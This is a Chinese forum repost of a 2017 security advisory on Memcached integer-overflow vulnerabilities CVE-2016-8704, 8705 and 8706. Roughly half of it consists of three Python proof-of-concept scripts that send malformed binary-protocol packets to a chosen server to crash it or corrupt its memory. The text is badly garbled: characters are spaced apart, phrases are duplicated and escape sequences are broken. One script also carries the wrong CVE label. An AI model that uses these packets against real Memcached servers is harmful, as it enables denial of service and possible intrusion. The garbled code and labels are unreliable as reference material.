搜索

[20856] 2017-08-13_Memcached修复多处高危漏洞可导致代码执行、拒绝服务

文档创建者：s7ckTeam
浏览次数：45
最后更新：2025-01-18
2017-08-13_Memcached修复多处高危漏洞可导致代码执行、拒绝服务 M e m c a c h e d   修 复 多 处 高 危 漏 洞 可 导 致 代 码 执 行 、 拒 绝 服 务 L e m o n S e c   2 0 1 7 - 0 8 - 1 3 背 景 介 绍 背 景 介 绍 M e m c a c h e d 是 一 个 自 由 开 源 的 ， 高 性 能 ， 分 布 式 内 存 对 象 缓 存 系 统 。 M e m c a c h e d 是 以 L i v e J o u r n a l 旗 下 D a n g a   I n t e r a c t i v e 公 司 的 B r a d   F i t z p a t r i c 为 首 开 发 的 一 款 软 件 。 现 在 已 成 为 m i x i 、 h a t e n a 、 F a c e b o o k 、 V o x 、 L i v e J o u r n a l 等 众 多 服 务 中 提 高 W e b 应 用 扩 展 性 的 重 要 因 素 。 M e m c a c h e d 是 一 种 基 于 内 存 的 k e y - v a l u e 存 储 ， 用 来 存 储 小 块 的 任 意 数 据 （ 字 符 串 、 对 象 ） 。 这 些 数 据 可 以 是 数 据 库 调 用 、 A P I 调 用 或 者 是 页 面 渲 染 的 结 果 。 本 质 上 ， 它 是 一 个 简 洁 的 k e y - v a l u e 存 储 系 统 。 一 般 的 使 用 目 的 是 ， 通 过 缓 存 数 据 库 查 询 结 果 ， 减 少 数 据 库 访 问 次 数 ， 以 提 高 动 态 W e b 应 用 的 速 度 、 提 高 可 扩 展 性 。 漏 洞 描 述 漏 洞 描 述 2 0 1 6 年 1 0 月 3 1 日         M e m c a c h e d 发 布 安 全 补 丁 修 复 多 个 远 程 代 码 执 行 漏 洞 发 布 安 全 补 丁 修 复 多 个 远 程 代 码 执 行 漏 洞 ， 利 用 该 漏 洞 黑 客 可 以 窃 取 在 M e m c a c h e d 中 存 放 的 业 务 数 据 ， 或 导 致 M e m c a c h e d 服 务 崩 溃 从 而 造 成 拒 绝 服 务 等 危 害 M e m c a c h e d 存 在 多 个 整 数 溢 出 漏 洞 ， 可 导 致 远 程 代 码 执 行 。 这 些 漏 洞 存 在 于 用 于 插 入 （ i n s e r t i n g ） 、 附 加 （ a p p e n d i n g , ） 、 前 置 （ p r e p e n d i n g ） 、 修 改 键 值 对 的 函 数 中 ， 在 S A S L 身 份 验 证 位 置 也 存 在 问 题 。 攻 击 者 可 以 通 过 向 服 务 器 发 送 一 个 精 心 构 造 的 攻 击 者 可 以 通 过 向 服 务 器 发 送 一 个 精 心 构 造 的 M e m c a c h e d 命 令 实 现 该 漏 洞 的 利 用 。 此 外 ， 这 些 漏 洞 还 可 以 泄 露 命 令 实 现 该 漏 洞 的 利 用 。 此 外 ， 这 些 漏 洞 还 可 以 泄 露 敏 感 的 进 程 信 息 ， 并 且 可 以 多 次 触 发 ， 利 用 这 些 敏 感 的 进 程 信 息 ， 攻 击 者 可 以 绕 过 像 敏 感 的 进 程 信 息 ， 并 且 可 以 多 次 触 发 ， 利 用 这 些 敏 感 的 进 程 信 息 ， 攻 击 者 可 以 绕 过 像 A S L R 等 常 见 的 漏 洞 缓 解 机 等 常 见 的 漏 洞 缓 解 机 制 。 制 。 由 于 可 以 绕 过 这 些 通 用 的 漏 洞 缓 解 机 制 ， 使 得 这 些 漏 洞 的 危 害 尤 为 严 重 。 虽 然 M e m c a c h e d 文 档 中 已 经 强 烈 建 议 将 M e m c a c h e d 服 务 配 置 在 可 信 任 的 网 络 环 境 中 ， 但 是 仍 有 大 量 的 M e m c a c h e d 服 务 可 以 在 公 网 中 直 接 访 问 。 此 外 ， 即 使 即 使 M e m c a c h e d 部 署 在 内 网 中 ， 企 业 的 安 全 管 理 人 员 仍 然 不 能 忽 视 此 次 更 新 的 安 全 问 题 ， 黑 客 可 能 通 过 内 网 部 署 在 内 网 中 ， 企 业 的 安 全 管 理 人 员 仍 然 不 能 忽 视 此 次 更 新 的 安 全 问 题 ， 黑 客 可 能 通 过 内 网 渗 透 、 渗 透 、 S S R F 漏 洞 等 ， 直 接 对 部 署 在 内 网 的 服 务 发 起 攻 击 。 漏 洞 等 ， 直 接 对 部 署 在 内 网 的 服 务 发 起 攻 击 。 漏 洞 编 号 漏 洞 编 号 C V E - 2 0 1 6 - 8 7 0 4   -   M e m c a c h e d   A p p e n d / P r e p e n d   远 程 代 码 执 行 漏 洞 C V E - 2 0 1 6 - 8 7 0 5   -   M e m c a c h e d   U p d a t e   远 程 代 码 执 行 漏 洞 C V E - 2 0 1 6 - 8 7 0 6   -   M e m c a c h e d   S A S L 身 份 验 证 远 程 代 码 执 行 漏 洞 漏 洞 利 用 代 码 （ 漏 洞 利 用 代 码 （ P O C ） ） C V E - 2 0 1 6 - 8 7 0 4   -   M e m c a c h e d   A p p e n d / P r e p e n d   远 程 代 码 执 行 漏 洞 i m p o r t   s t r u c t i m p o r t   s o c k e t i m p o r t   s y s M E M C A C H E D _ R E Q U E S T _ M A G I C =   " x 8 0 " O P C O D E _ P R E P E N D _ Q =   " x 1 a " k e y _ l e n   = s t r u c t . p a c k ( " ! H " , 0 x f a )
e x t r a _ l e n   = " x 0 0 " d a t a _ t y p e   = " x 0 0 " v b u c k e t   = " x 0 0 x 0 0 " b o d y _ l e n   = s t r u c t . p a c k ( " ! I " , 0 ) o p a q u e   =   s t r u c t . p a c k ( " ! I " , 0 ) C A S   = s t r u c t . p a c k ( " ! Q " , 0 ) b o d y   = " A " * 1 0 2 4 i f   l e n ( s y s . a r g v )   ! =   3 :                 p r i n t   " . / p o c _ c r a s h . p y < s e r v e r >   < p o r t > " p a c k e t   = M E M C A C H E D _ R E Q U E S T _ M A G I C   +   O P C O D E _ P R E P E N D _ Q   +   k e y _ l e n   +   e x t r a _ l e n p a c k e t   + = d a t a _ t y p e   +   v b u c k e t   +   b o d y _ l e n   +   o p a q u e   +   C A S p a c k e t   + = b o d y s e t _ p a c k e t   = " s e t   t e s t k e y   0   6 0   4 r n t e s t r n " g e t _ p a c k e t   = " g e t   t e s t k e y r n " s 1   = s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M ) s 1 . c o n n e c t ( ( s y s . a r g v [ 1 ] , i n t ( s y s . a r g v [ 2 ] ) ) ) s 1 . s e n d a l l ( s e t _ p a c k e t ) p r i n t   s 1 . r e c v ( 1 0 2 4 ) s 1 . c l o s e ( ) s 2   = s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M ) s 2 . c o n n e c t ( ( s y s . a r g v [ 1 ] , i n t ( s y s . a r g v [ 2 ] ) ) ) s 2 . s e n d a l l ( p a c k e t ) p r i n t   s 2 . r e c v ( 1 0 2 4 ) s 2 . c l o s e ( ) s 3   = s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M ) s 3 . c o n n e c t ( ( s y s . a r g v [ 1 ] , i n t ( s y s . a r g v [ 2 ] ) ) ) s 3 . s e n d a l l ( g e t _ p a c k e t ) s 3 . r e c v ( 1 0 2 4 ) s 3 . c l o s e ( ) s 3 . c l o s e ( ) C V E - 2 0 1 6 - 8 7 0 4   -   M e m c a c h e d   A p p e n d / P r e p e n d   远 程 代 码 执 行 漏 洞 i m p o r t   s t r u c t i m p o r t   s o c k e t i m p o r t   s y s M E M C A C H E D _ R E Q U E S T _ M A G I C =   " x 8 0 " O P C O D E _ A D D   = " x 0 2 " k e y _ l e n   = s t r u c t . p a c k ( " ! H " , 0 x f a ) e x t r a _ l e n   = " x 0 8 " d a t a _ t y p e   = " x 0 0 " v b u c k e t   = " x 0 0 x 0 0 " b o d y _ l e n   = s t r u c t . p a c k ( " ! I " , 0 x f f f f f f d 0 ) o p a q u e   = s t r u c t . p a c k ( " ! I " , 0 ) C A S   = s t r u c t . p a c k ( " ! Q " , 0 )
e x t r a s _ f l a g s =   0 x d e a d b e e f e x t r a s _ e x p i r y =   s t r u c t . p a c k ( " ! I " , 0 x e 1 0 ) b o d y   = " A " * 1 0 2 4 p a c k e t   = M E M C A C H E D _ R E Q U E S T _ M A G I C   +   O P C O D E _ A D D   +   k e y _ l e n   +   e x t r a _ l e n p a c k e t   + = d a t a _ t y p e   +   v b u c k e t   +   b o d y _ l e n   +   o p a q u e   +   C A S p a c k e t   + = b o d y i f   l e n ( s y s . a r g v ) ! = 3 :                   p r i n t   " . / p o c _ a d d . p y   < s e r v e r > < p o r t > " s   = s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M ) s . c o n n e c t ( ( s y s . a r g v [ 1 ] , i n t ( s y s . a r g v [ 2 ] ) ) ) s . s e n d a l l ( p a c k e t ) p r i n t   s . r e c v ( 1 0 2 4 ) s . c l o s e ( ) C V E - 2 0 1 6 - 8 7 0 6   -   M e m c a c h e d   S A S L 身 份 验 证 远 程 代 码 执 行 漏 洞 i m p o r t   s t r u c t i m p o r t   s o c k e t   i m p o r t   s y s M E M C A C H E D _ R E Q U E S T _ M A G I C   =   " x 8 0 " O P C O D E _ S E T   =   " x 2 1 " k e y _ l e n   =   s t r u c t . p a c k ( " ! H " , 3 2 )   b o d y _ l e n   =   s t r u c t . p a c k ( " ! I " , 1 )   p a c k e t   =   M E M C A C H E D _ R E Q U E S T _ M A G I C   +   O P C O D E _ S E T   +   k e y _ l e n   +       b o d y _ l e n * 2   +   " A " * 1 0 0 0   i f   l e n ( s y s . a r g v )   ! =   3 :           p r i n t   " . / p o c _ s a s l . p y   < s e r v e r >   < i p > " s   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M )   s . c o n n e c t ( ( s y s . a r g v [ 1 ] , i n t ( s y s . a r g v [ 2 ] ) ) )   s . s e n d a l l ( p a c k e t )   p r i n t   s . r e c v ( 1 0 2 4 )   s . c l o s e ( ) 测 试 效 果 ： 测 试 效 果 ：

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理